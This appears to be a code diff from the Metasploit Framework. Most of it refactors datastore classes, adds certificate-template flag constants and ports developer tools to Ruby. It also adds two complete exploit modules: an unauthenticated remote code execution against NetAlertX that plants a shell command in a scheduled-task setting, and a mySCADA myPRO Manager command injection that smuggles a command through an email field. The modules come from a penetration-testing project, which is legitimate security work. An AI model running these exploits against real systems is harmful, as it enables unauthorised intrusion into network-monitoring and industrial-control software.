datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStoreWithFallbacks)
datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStore)
datastore['rhost'] = rhost
execute_module(<%= meta[:path] %>)
end
+1 -1
View File
@@ -36,7 +36,7 @@ module Msf
# Validates that any registered and required options are set
#
# @param options [Array<Msf::OptBase>] A modules registered options
# @param datastore [Msf::DataStore|Msf::DataStoreWithFallbacks] A modules datastore
# @param datastore [Msf::DataStore|Msf::DataStore] A modules datastore
def validate(options, datastore)
issues = {}
required_options.each do |option_name|
+1 -1
View File
@@ -475,7 +475,7 @@ class Payload < Msf::Module
lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50')
configure_payload = lambda do |payload|
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
if mod.datastore.is_a?(Msf::DataStore)
payload_defaults = { 'PAYLOAD' => payload }
# Set LHOST if this is a reverse payload
+2 -2
View File
@@ -65,7 +65,7 @@ module Msf
return unless block_given?
parse(@value, @datastore).each do |result|
block.call(result) if result.is_a?(Msf::DataStore) || result.is_a?(Msf::DataStoreWithFallbacks)
block.call(result) if result.is_a?(Msf::DataStore)
end
nil
@@ -99,7 +99,7 @@ module Msf
# @return [Boolean] True if all items are valid, and there are at least some items present to iterate over. False otherwise.
def valid?
parsed_values = parse(@value, @datastore)
parsed_values.all? { |result| result.is_a?(Msf::DataStore) || result.is_a?(Msf::DataStoreWithFallbacks) } && parsed_values.count > 0
parsed_values.all? { |result| result.is_a?(Msf::DataStore) } && parsed_values.count > 0
rescue StandardError => e
elog('rhosts walker invalid', error: e)
false
+1 -1
View File
@@ -64,7 +64,7 @@ class RPC_Core < RPC_Base
# @example Here's how you would use this from the client:
# rpc.call('core.unsetg', 'MyGlobal')
def rpc_unsetg(var)
if framework.datastore.is_a?(Msf::DataStoreWithFallbacks)
if framework.datastore.is_a?(Msf::DataStore)
framework.datastore.unset(var)
else
framework.datastore.delete(var)
+10 -75
View File
@@ -2081,7 +2081,7 @@ class Core
print_line "datastore. Use -g to operate on the global datastore."
print_line
print_line "If setting a PAYLOAD, this command can take an index from `show payloads'."
print @@set_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
print @@set_opts.usage
print_line
end
@@ -2103,7 +2103,7 @@ class Core
elsif args[0] == '-a'
args.shift
append = true
elsif (args[0] == '-c' || args[0] == '--clear') && framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
elsif (args[0] == '-c' || args[0] == '--clear')
args.shift
clear = true
else
@@ -2271,7 +2271,7 @@ class Core
print_line "Usage: setg [option] [value]"
print_line
print_line "Exactly like set -g, set a value in the global datastore."
print @@setg_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
print @@setg_opts.usage
print_line
end
@@ -2433,83 +2433,18 @@ class Core
end
def cmd_unset_help
if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
print_line "Usage: unset [-g] var1 var2 var3 ..."
print_line
print_line "The unset command is used to unset one or more variables."
print_line "To flush all entries, specify 'all' as the variable name."
print_line "With -g, operates on global datastore variables."
print_line
else
print_line "Usage: unset [options] var1 var2 var3 ..."
print_line
print_line "The unset command is used to unset one or more variables which have been set by the user."
print_line "To update all entries, specify 'all' as the variable name."
print @@unset_opts.usage
print_line
end
print_line "Usage: unset [-g] var1 var2 var3 ..."
print_line
print_line "The unset command is used to unset one or more variables."
print_line "To flush all entries, specify 'all' as the variable name."
print_line "With -g, operates on global datastore variables."
print_line
end
#
# Unsets a value if it's been set.
#
def cmd_unset(*args)
if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
return cmd_unset_with_fallbacks(*args)
end
# Figure out if these are global variables
global = false
if (args[0] == '-g')
args.shift
global = true
end
# Determine which data store we're operating on
if (active_module and global == false)
datastore = active_module.datastore
else
datastore = framework.datastore
end
# No arguments? No cookie.
if (args.length == 0)
cmd_unset_help
return false
end
# If all was specified, then flush all of the entries
if args[0] == 'all'
print_line("Flushing datastore...")
# Re-import default options into the module's datastore
if (active_module and global == false)
active_module.import_defaults
# Or simply clear the global datastore
else
datastore.clear
end
return true
end
while ((val = args.shift))
if (driver.on_variable_unset(global, val) == false)
print_error("The variable #{val} cannot be unset at this time.")
next
end
print_line("Unsetting #{val}...")
datastore.delete(val)
end
end
#
# Unsets a value if it's been set, resetting the value back to a default value
#
def cmd_unset_with_fallbacks(*args)
if args.include?('-h') || args.include?('--help')
cmd_unset_help
return
@@ -2591,7 +2526,7 @@ class Core
print_line "Usage: unsetg [options] var1 var2 var3 ..."
print_line
print_line "Exactly like unset -g, unset global variables, or all"
print @@unsetg_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
print @@unsetg_opts.usage
print_line
end
-4
View File
@@ -611,10 +611,6 @@ protected
return false
elsif active_module && (active_module.exploit? || active_module.evasion?)
return false unless active_module.is_payload_compatible?(val)
elsif active_module && !framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
active_module.datastore.clear_non_user_defined
elsif framework && !framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
framework.datastore.clear_non_user_defined
end
end
@@ -17,10 +17,10 @@ module Msf
# stage since the command itself has been completed.
def tab_complete_datastore_names(datastore, _str, _words)
keys = (
Msf::DataStoreWithFallbacks::GLOBAL_KEYS +
Msf::DataStore::GLOBAL_KEYS +
datastore.keys
)
keys.concat(datastore.options.values.flat_map(&:fallbacks)) if datastore.is_a?(Msf::DataStoreWithFallbacks)
keys.concat(datastore.options.values.flat_map(&:fallbacks)) if datastore.is_a?(Msf::DataStore)
keys.uniq! { |key| key.downcase }
keys
end
@@ -189,7 +189,7 @@ class Console::CommandDispatcher::Lanattacks::Dhcp
datastore = args.shift
unless datastore.is_a?(Hash) || datastore.is_a?(Msf::DataStoreWithFallbacks)
unless datastore.is_a?(Hash) || datastore.is_a?(Msf::DataStore)
print_dhcp_load_options_usage
return true
end
+16 -3
View File
@@ -5,13 +5,26 @@ module Rex::Proto
module MsCrtd
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/4c6950e4-1dc2-4ae3-98c3-b8919bb73822
# [2.4 flags Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/6cc7eb79-3e84-477a-b398-b0ff2b68a6c0)
CT_FLAG_AUTO_ENROLLMENT = 0x00000020
CT_FLAG_MACHINE_TYPE = 0x00000040
CT_FLAG_IS_CA = 0x00000080
CT_FLAG_ADD_TEMPLATE_NAME = 0x00000200
CT_FLAG_IS_CROSS_CA = 0x00000800
CT_FLAG_IS_DEFAULT = 0x00010000
CT_FLAG_IS_MODIFIED = 0x00020000
CT_FLAG_DONOTPERSISTINDB = 0x00001000
CT_FLAG_ADD_EMAIL = 0x00000002
CT_FLAG_PUBLISH_TO_DS = 0x00000008
CT_FLAG_EXPORTABLE_KEY = 0x00000010
# [2.26 msPKI-Enrollment-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1)
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS = 0x00000001
CT_FLAG_PEND_ALL_REQUESTS = 0x00000002
CT_FLAG_PUBLISH_TO_KRA_CONTAINER = 0x00000004
CT_FLAG_PUBLISH_TO_DS = 0x00000008
#CT_FLAG_PUBLISH_TO_DS = 0x00000008
CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = 0x00000010
CT_FLAG_AUTO_ENROLLMENT = 0x00000020
#CT_FLAG_AUTO_ENROLLMENT = 0x00000020
CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = 0x00000040
CT_FLAG_USER_INTERACTION_REQUIRED = 0x00000100
CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = 0x00000400
@@ -26,7 +39,7 @@ module Rex::Proto
# [2.27 msPKI-Private-Key-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667)
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001
CT_FLAG_EXPORTABLE_KEY = 0x00000010
#CT_FLAG_EXPORTABLE_KEY = 0x00000010
CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED = 0x00000020
CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM = 0x00000040
CT_FLAG_REQUIRE_SAME_KEY_RENEWAL = 0x00000080
@@ -346,6 +346,29 @@ class MetasploitModule < Msf::Auxiliary
print_status(" objectGUID: #{object_guid}")
end
pki_flag = obj['flags']&.first
if pki_flag.present?
pki_flag = [obj['flags'].first.to_i].pack('l').unpack1('L')
print_status(" flags: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
%w[
CT_FLAG_AUTO_ENROLLMENT
CT_FLAG_MACHINE_TYPE
CT_FLAG_IS_CA
CT_FLAG_ADD_TEMPLATE_NAME
CT_FLAG_IS_CROSS_CA
CT_FLAG_IS_DEFAULT
CT_FLAG_IS_MODIFIED
CT_FLAG_DONOTPERSISTINDB
CT_FLAG_ADD_EMAIL
CT_FLAG_PUBLISH_TO_DS
CT_FLAG_EXPORTABLE_KEY
].each do |flag_name|
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
print_status(" * #{flag_name}")
end
end
end
pki_flag = obj['mspki-certificate-name-flag']&.first
if pki_flag.present?
pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')
@@ -481,6 +504,10 @@ class MetasploitModule < Msf::Auxiliary
print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")
end
if obj['showinadvancedviewonly'].present?
print_status(" showInAdvancedViewOnly: #{obj['showinadvancedviewonly'].first}")
end
{ object: obj, file: stored }
end
@@ -543,7 +543,7 @@ class MetasploitModule < Msf::Auxiliary
ca_server_ip_address = get_ip_addresses_by_fqdn(ca_server_fqdn)&.first
if ca_server_ip_address
service = report_service({
report_service({
host: ca_server_ip_address,
port: 445,
proto: 'tcp',
@@ -551,13 +551,6 @@ class MetasploitModule < Msf::Auxiliary
info: "AD CS CA name: #{ca_server[:name][0]}"
})
report_note({
data: ca_server[:dn][0].to_s,
service: service,
host: ca_server_ip_address,
ntype: 'windows.ad.cs.ca.dn'
})
report_host({
host: ca_server_ip_address,
name: ca_server_fqdn
@@ -618,7 +611,7 @@ class MetasploitModule < Msf::Auxiliary
info = hash[:notes].select { |note| note.start_with?(prefix) }.map { |note| note.delete_prefix(prefix).strip }.join("\n")
info = nil if info.blank?
hash[:ca_servers].each do |ca_fqdn, ca_server|
hash[:ca_servers].each_value do |ca_server|
service = report_service({
host: ca_server[:ip_address],
port: 445,
@@ -641,14 +634,6 @@ class MetasploitModule < Msf::Auxiliary
else
vuln = nil
end
report_note({
data: hash[:dn],
service: service,
host: ca_fqdn.to_s,
ntype: 'windows.ad.cs.ca.template.dn',
vuln_id: vuln&.id
})
end
end
end
+3 -2
View File
@@ -107,11 +107,12 @@ class MetasploitModule < Msf::Auxiliary
def on_relay_success(relay_connection:, relay_identity:)
case datastore['MODE']
when 'AUTO'
cert_template = relay_identity.end_with?('$') ? 'Computer' : 'User'
retrieve_cert(relay_connection, relay_identity, cert_template)
cert_template = relay_identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User']
retrieve_certs(relay_connection, relay_identity, cert_template)
when 'ALL', 'QUERY_ONLY'
cert_templates = get_cert_templates(relay_connection)
unless cert_templates.nil? || cert_templates.empty?
print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
print_good("Available Certificates for #{relay_identity} on #{datastore['RELAY_TARGET']}: #{cert_templates.join(', ')}")
if datastore['MODE'] == 'ALL'
retrieve_certs(relay_connection, relay_identity, cert_templates)
@@ -0,0 +1,157 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Retry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated RCE in NetAlertX',
'Description' => %q{
An attacker can update NetAlertX settings with no authentication, which results in RCE.
},
'Author' => [
'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-46506'],
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'],
# ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?)
],
'DefaultOptions' => {
'FETCH_DELETE' => true,
'WfsDelay' => 150
},
'Platform' => %w[linux],
'Targets' => [
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
}
],
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => ' \'\\'
},
'DisclosureDate' => '2025-01-30',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(20211),
OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]),
OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true])
]
)
register_advanced_options(
[
OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'maintenance.php')
})
return Exploit::CheckCode::Unknown unless res&.code == 200
html_document = res&.get_html_document
return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?
version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?
version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12'))
Exploit::CheckCode::Appears("Version #{version} detected.")
end
def exploit
# Command is split by space character, and executed by the following Python code:
# subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT))
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214
cmd = "/bin/sh -c #{payload.encode}"
update_settings(cmd, '*')
# Not updated immediately
print_status('Waiting for the settings to be properly updated...')
retry_until_truthy(timeout: datastore['WAIT']) do
check_settings(cmd)
end
add_to_execution_queue('run|DBCLNP')
add_to_execution_queue('cron_restart_backend')
print_status('Added the payload to the queue. Waiting for the payload to run...')
end
def update_settings(cmd, sche)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
'vars_post' => {
'function' => 'savesettings',
'settings' => [
['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'],
['DBCLNP', 'DBCLNP_CMD', 'string', cmd],
['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"],
].to_json
}
})
fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200
print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.")
end
def add_to_execution_queue(cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
'vars_post' => {
'function' => 'addToExecutionQueue',
'action' => "#{SecureRandom.uuid}|#{cmd}"
}
})
fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200
end
def check_settings(cmd)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/table_settings.json')
})
return unless res&.code == 200
res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd }
end
def cleanup
super
if datastore['CLEANUP']
# Default settings, isn't usually changed.
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92
update_settings(
'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}',
'*/30'
)
end
end
end
@@ -0,0 +1,110 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',
'Description' => %q{
Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.
},
'License' => MSF_LICENSE,
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
'References' => [
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],
[ 'CVE', '2024-47407']
],
'DisclosureDate' => '2024-11-21',
'DefaultOptions' => {
'RPORT' => 34022,
'SSL' => 'False'
},
'Platform' => 'win',
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Windows_Fetch',
{
'Arch' => [ ARCH_CMD ],
'Platform' => 'win',
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
'Type' => :win_fetch
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new(
'TARGETURI',
[ true, 'The URI for the MyPRO Manager web interface', '/' ]
)
]
)
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
end
if res.to_s =~ /const v="([^"]+)"/
version = ::Regexp.last_match(1)
vprint_status('Version retrieved: ' + version)
if Rex::Version.new(version) <= Rex::Version.new('1.2')
return CheckCode::Appears
end
return CheckCode::Safe
end
return CheckCode::Unknown
end
def exploit
execute_command(payload.encoded)
end
def execute_command(cmd)
exec_mypro_mgr(cmd)
print_status('Exploit finished, check thy shell.')
end
def exec_mypro_mgr(cmd)
post_data = {
'command' => 'testEmail',
'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"
}
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'data' => JSON.generate(post_data),
'uri' => normalize_uri(target_uri.path, 'get')
})
if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
print_good('Command successfully executed, check your shell.')
else
print_error('Unexpected or no reply received.')
end
end
end
@@ -700,7 +700,7 @@ RSpec.shared_examples_for 'a datastore' do
end
end
RSpec.describe Msf::DataStoreWithFallbacks do
RSpec.describe Msf::DataStore do
include_context 'datastore subjects'
subject(:default_subject) do
@@ -712,11 +712,11 @@ RSpec.describe Msf::DataStoreWithFallbacks do
it_behaves_like 'a datastore'
end
RSpec.describe Msf::ModuleDataStoreWithFallbacks do
RSpec.describe Msf::ModuleDataStore do
include_context 'datastore subjects'
let(:framework_datastore) do
Msf::DataStoreWithFallbacks.new
Msf::DataStore.new
end
let(:mod) do
framework = instance_double(Msf::Framework, datastore: framework_datastore)
+1 -1
View File
@@ -53,7 +53,7 @@ RSpec.describe Msf::OptionGroup do
let(:option_names) { ['not_required_name', required_option_name] }
let(:required_names) { [required_option_name] }
let(:options) { instance_double(Msf::OptionContainer) }
let(:datastore) { instance_double(Msf::DataStoreWithFallbacks) }
let(:datastore) { instance_double(Msf::DataStore) }
context 'when there are no required options' do
subject { described_class.new(name: 'name', description: 'description', option_names: option_names) }
@@ -24,7 +24,7 @@ RSpec.describe 'SSH Login Check Scanner' do
let(:credential) do
Metasploit::Framework::Credential.new(private: password, public: username)
end
let(:datastore) { Msf::ModuleDataStoreWithFallbacks.new(subject) }
let(:datastore) { Msf::ModuleDataStore.new(subject) }
let(:host) { '10.10.10.10' }
let(:module_manager) { instance_double(Msf::ModuleManager) }
let(:password) { 'secret' }
-6
View File
@@ -159,12 +159,6 @@ RSpec.configure do |config|
end
end
if ENV['MSF_FEATURE_DATASTORE_FALLBACKS']
config.before(:suite) do
Msf::FeatureManager.instance.set(Msf::FeatureManager::DATASTORE_FALLBACKS, true)
end
end
if ENV['MSF_FEATURE_DEFER_MODULE_LOADS']
config.before(:suite) do
Msf::FeatureManager.instance.set(Msf::FeatureManager::DEFER_MODULE_LOADS, true)
@@ -7,7 +7,7 @@ RSpec.shared_examples_for Msf::OptionalSession do
include_context 'Msf::Simple::Framework'
let(:options) { instance_double(Msf::OptionContainer) }
let(:datastore) { instance_double(Msf::DataStoreWithFallbacks) }
let(:datastore) { instance_double(Msf::DataStore) }
let(:session) { instance_double(Msf::Sessions::SMB) }
let(:session_group) { instance_double(Msf::OptionGroup) }
let(:rhost_group) { instance_double(Msf::OptionGroup) }
@@ -2,4 +2,4 @@ RSpec.shared_examples_for 'Msf::Module::DataStore' do
it { is_expected.to respond_to :datastore }
it { is_expected.to respond_to :import_defaults }
it { is_expected.to respond_to :share_datastore }
end
end
-16
View File
@@ -1,16 +0,0 @@
#!/usr/bin/python3
import requests
new_com = requests.get("https://raw.githubusercontent.com/rezasp/joomscan/master/exploit/db/componentslist.txt").text
with open('data/wordlists/joomla.txt', 'r') as j:
old = j.read().splitlines()
for com in new_com.splitlines():
if not 'components/%s/'%(com) in old:
old.append('components/%s/'%(com))
print('[+] Adding: components/%s/'%(com))
old.sort()
with open('data/wordlists/joomla.txt', 'w') as j:
j.write('\n'.join(old))
j.write('\n')
+78
View File
@@ -0,0 +1,78 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
#
# by h00die
#
require 'optparse'
require 'net/http'
require 'uri'
optparse = OptionParser.new do |opts|
opts.banner = 'Usage: ruby tools/dev/update_joomla_components.rb [options]'
opts.separator "This program updates data/wordlists/joomla.txt which is used by modules/auxiliary/scanner/http/joomla_scanner.rb to have the most up-to-date list of vuln components"
opts.separator ""
opts.on('-h', '--help', 'Display this screen.') do
puts opts
exit
end
end
optparse.parse!
# colors and puts templates from msftidy.rb
class String
def red
"\e[1;31;40m#{self}\e[0m"
end
def yellow
"\e[1;33;40m#{self}\e[0m"
end
def green
"\e[1;32;40m#{self}\e[0m"
end
def cyan
"\e[1;36;40m#{self}\e[0m"
end
end
#
# Display an error message, given some text
#
def error(txt)
puts "[#{'ERROR'.red}] #{cleanup_text(txt)}"
end
#
# Display a warning message, given some text
#
def warning(txt)
puts "[#{'WARNING'.yellow}] #{cleanup_text(txt)}"
end
#
# Display a info message, given some text
#
def info(txt)
puts "[#{'INFO'.cyan}] #{cleanup_text(txt)}"
end
uri = URI.parse('https://raw.githubusercontent.com/rezasp/joomscan/master/exploit/db/componentslist.txt')
new_com = Net::HTTP.get(uri)
old = File.read('data/wordlists/joomla.txt').split("\n")
new_com.each_line do |com|
unless old.include?("components/#{com.strip}/")
old << "components/#{com.strip}/"
info "Adding: components/#{com.strip}/"
end
end
old.sort!
File.open('data/wordlists/joomla.txt', 'w') do |file|
file.puts old
end
-56
View File
@@ -1,56 +0,0 @@
#!/usr/bin/python3
import requests
import re
def replace_agent_string(lines, replace_marker, url, regex):
VALID_CHARS = 'a-zA-Z0-9\\(\\);:\\.,/_ '
regex = regex.replace('{VALID_CHARS}', VALID_CHARS)
print(f'Updating {replace_marker}')
for x in range(0, len(lines)):
if replace_marker in lines[x]:
break
else:
raise RuntimeError(f"Couldn't find marker {replace_marker}")
response = requests.get(url)
if response.status_code != 200:
raise RuntimeError(f"Can't retrieve {url}")
match = re.search(regex, response.text)
if match is None:
raise RuntimeError(f"Couldn't match regex {regex}")
new_string = match.groups()[0]
print(f'New value is: {new_string}')
old_line = lines[x]
if f"'{new_string}'" in old_line:
print('(This is unchanged from the previous value)')
else:
new_line = re.sub("'(.*)'", f"'{new_string}'", old_line)
if old_line == new_line:
raise RuntimeError(f"Line didn't change: {old_line}")
lines[x] = new_line
chrome_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome"
edge_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/edge"
safari_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/safari"
firefox_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/firefox"
user_agent_filename = 'lib/rex/user_agent.rb'
with open(user_agent_filename,'r') as f:
lines = f.read().splitlines()
replace_agent_string(lines, 'Chrome Windows', chrome_url, '<td>Chrome \\(Standard\\)</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
replace_agent_string(lines, 'Chrome MacOS', chrome_url, '<td>Chrome \\(Standard\\)</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
replace_agent_string(lines, 'Edge Windows', edge_url, '<td>Edge \\(Standard\\)</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
replace_agent_string(lines, 'Safari iPad', safari_url, '<td>\\s*Safari on <b>Ipad</b>\\s*</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*iPad[{VALID_CHARS}]*)</span>')
replace_agent_string(lines, 'Safari MacOS', safari_url, '<td>Safari \\(Standard\\)</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
replace_agent_string(lines, 'Firefox Windows', firefox_url, '<td>\\s*Firefox on <b>Windows</b>\\s*</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
replace_agent_string(lines, 'Firefox MacOS', firefox_url, '<td>\\s*Firefox on <b>Macos</b>\\s*</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
with open(user_agent_filename, 'w') as f:
f.write('\n'.join(lines) + '\n')
print('Done')
+112
View File
@@ -0,0 +1,112 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'optparse'
require 'net/http'
require 'uri'
optparse = OptionParser.new do |opts|
opts.banner = 'Usage: ruby tools/dev/update_user_agent_strings.rb [options]'
opts.separator "This program updates lib/rex/user_agent.rb so Metasploit uses the most up-to-date User Agent strings across the framework."
opts.separator ""
opts.on('-h', '--help', 'Display this screen.') do
puts opts
exit
end
end
optparse.parse!
# colors and puts templates from msftidy.rb
class String
def red
"\e[1;31;40m#{self}\e[0m"
end
def yellow
"\e[1;33;40m#{self}\e[0m"
end
def green
"\e[1;32;40m#{self}\e[0m"
end
def cyan
"\e[1;36;40m#{self}\e[0m"
end
end
#
# Display an error message, given some text
#
def error(txt)
puts "[#{'ERROR'.red}] #{cleanup_text(txt)}"
end
#
# Display a warning message, given some text
#
def warning(txt)
puts "[#{'WARNING'.yellow}] #{cleanup_text(txt)}"
end
#
# Display a info message, given some text
#
def info(txt)
puts "[#{'INFO'.cyan}] #{cleanup_text(txt)}"
end
def cleanup_text(txt)
# remove line breaks
txt = txt.gsub(/[\r\n]/, ' ')
# replace multiple spaces by one space
txt.gsub(/\s{2,}/, ' ')
end
def replace_agent_string(lines, replace_marker, url, regex)
valid_chars = 'a-zA-Z0-9\(\);:\.,/_ '
regex = regex.gsub('{VALID_CHARS}', valid_chars)
info "Checking: #{replace_marker}"
index = lines.index { |line| line.include?(replace_marker) }
raise "Couldn't find marker #{replace_marker}" if index.nil?
uri = URI(url)
response = Net::HTTP.get_response(uri)
raise "Can't retrieve #{url}" unless response.is_a?(Net::HTTPSuccess)
match = response.body.match(/#{regex}/)
raise "Couldn't match regex #{regex}" if match.nil?
new_string = match[1]
old_line = lines[index]
if old_line.include?("'#{new_string}'")
puts " (Unchanged): #{new_string}"
else
new_line = old_line.gsub(/'(.*)'/, "'#{new_string}'")
if old_line == new_line
raise " Line didn't change: #{old_line}"
end
puts " New value is: #{new_string}"
lines[index] = new_line
end
end
chrome_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome"
edge_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/edge"
safari_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/safari"
firefox_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/firefox"
user_agent_filename = 'lib/rex/user_agent.rb'
lines = File.read(user_agent_filename).split("\n")
replace_agent_string(lines, 'Chrome Windows', chrome_url, '<td>Chrome \\(Standard\\)</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
replace_agent_string(lines, 'Chrome MacOS', chrome_url, '<td>Chrome \\(Standard\\)</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
